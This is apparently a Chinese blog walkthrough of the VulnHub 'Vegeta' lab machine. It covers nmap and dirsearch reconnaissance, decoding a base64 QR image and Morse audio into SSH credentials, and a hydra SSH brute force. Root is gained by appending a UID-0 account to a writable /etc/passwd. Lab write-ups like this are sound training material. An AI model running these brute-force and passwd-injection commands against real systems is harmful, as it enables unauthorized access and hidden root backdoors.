Vegeta 打靶流程

一、环境准备

环境下载:https://download.vulnhub.com/vegeta/Vegeta.ova

攻击机kali:192.168.152.129

靶机:192.168.152.133

二、打靶目标

获取/root/root.txt

三、工具准备

端口扫描:nmap

目录扫描:御剑珍藏版、dirsearch

网站环境收集:wappalyzer

图片解隐写:steghide

摩斯密码音频解密:Morse Code Audio Decoder | Morse Code World

四、详细步骤

1、信息收集——端口扫描

nmap -sS 192.168.152.133 -p 0-65535 -Pn  

2、信息收集——网站环境

中间件是apache 2.4.38

3、信息收集——目录扫描

结果如下,得出结果后便对扫描出来的路径进行探索。

4、查看目录扫描所得路径

第一反应是查看admin和login这两个一看就很牛的界面,结果:

http://192.168.152.133/admin和http://192.168.152.133/login.php空空如也。

http://192.168.152.133/image/,空的。

http://192.168.152.133/robots.txt中存在一个目录,/find_me。

http://192.168.152.133/manual是apache版本指南。

http://192.168.152.133/img下有张图片vegeta.jpg,这种以靶场名命名的方式很明显有问题,猜想是图片隐写。

5、尝试图片解隐写

下载图片到kali上:

curl http://192.168.152.133/img/vegeta.jpg --output vegeta.jpg

使用steghide尝试解隐写,发现需要密码

steghide extract -sf vegeta.jpg

6、find_me目录下发现base64编码

http://192.168.152.133/find_me/find_me.html

用BP解码,发现解码后还是base64编码,再解一次,结果是乱码,不过乱码开端是png,证明这段base64编码的是一张png图片,用bp解码是不行了,因此转换解码的方式。

将第一次解码后得到的base64编码保存到文件中。

echo "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" > base.txt

将base.txt的内容进行base64解码,然后保存到png文件中。

Base64 -d base.txt > base.png

在文件管理器的图形化界面中查看该png文件,发现是一张二维码。

扫描二维码,得到密码:topshellv,试过之后发现该密码并不是图片解隐写的密码。

​​​​​​​7、尝试对admin.php和login.php的参数名和参数值进行暴力猜解

失败。

8、更换更大的字典进行目录扫描

这里直接用了seclists里面的大字典,查找的关键词为directory和big。

字典下载:

git clone https://github.com/danielmiessler/SecLists.git #需要挂代理

cp SecLists /usr/share #将下载好的字典移动到/usr/share目录下,kali上的工具一般都在这个目录下

find /usr/share/SecLists -type f -name "*directory*"    #查找目录扫描字典

选一个大字典进行爆破。

dirsearch -u http://192.168.152.133 -w  /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt

扫出一个新的目录/bulma

9、音频解密

在bulma目录下获得一个音频。

听了一下,是摩斯密码音频。

用在线工具解密,工具链接在文章开头,结果是:

U S E R : T R U N K S  P A S S W O R D : U S 3 R ( S I N D O L L A R S S Y M B O L )

​​​​​​​10、远程登陆ssh

根据上一步得到结果:user:trunks,password:u$3r(这个$符号是由括号里面的提示得到的)

然而因为摩斯密码解出的结果不区分大小写,因此,利用python脚本将用户名和密码所有大小写的可能结果得出,存放在字典里并暴力破解得到正解。

用gpt写的python脚本:

def string_to_list(input_string):

    # 初始化结果列表

    result = [input_string]


    # 遍历字符串

    for i in range(len(input_string)):

        # 如果是字母,则对大小写进行反转操作

        if input_string[i].isalpha():

            for j in range(len(result)):

                # 将字符串转换为列表以进行元素替换

                temp = list(result[j])

                temp[i] = temp[i].swapcase()

                # 将替换后的字符串存入结果列表

                result.append(''.join(temp))

   

    # 返回结果列表

    return result



# 读取用户输入的字符串

input_string = input("请输入一个字符串:")



# 调用函数获取所有大小写可能结果

all_results = string_to_list(input_string)



# 输出所有结果

print("输入字符串的所有大小写可能结果:")

for i in all_results:

    print(i)

暴力破解得出正确用户名和密码

hydra -L u1.txt -P p1.txt ssh://192.168.152.133     #u1存放用户名,p1存放密码

登陆成功

ssh trunks@192.168.152.133         #密码是:u$3r

​​​​​​​11、提升权限

history查看历史命令,发现对在用perl生成加密密码后,直接向/etc/passwd文件写入Tom用户。

查看/etc/passwd文件权限,发现trunks是/etc/passwd文件属主,有写权限。

ls -al /etc/passwd

直接写入一个root权限用户,密码直接用历史命令里面的。

perl -le 'print crypt("Password@973","addedsalt")'

echo 'root1:ad7t5uIalqMws:0:0:root:/root:/bin/bash' >> /etc/passwd

切换到root1,提权成功。

靶场到这里就结束了,图片解隐写和二维码里的密码竟然没用。

  • 16
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值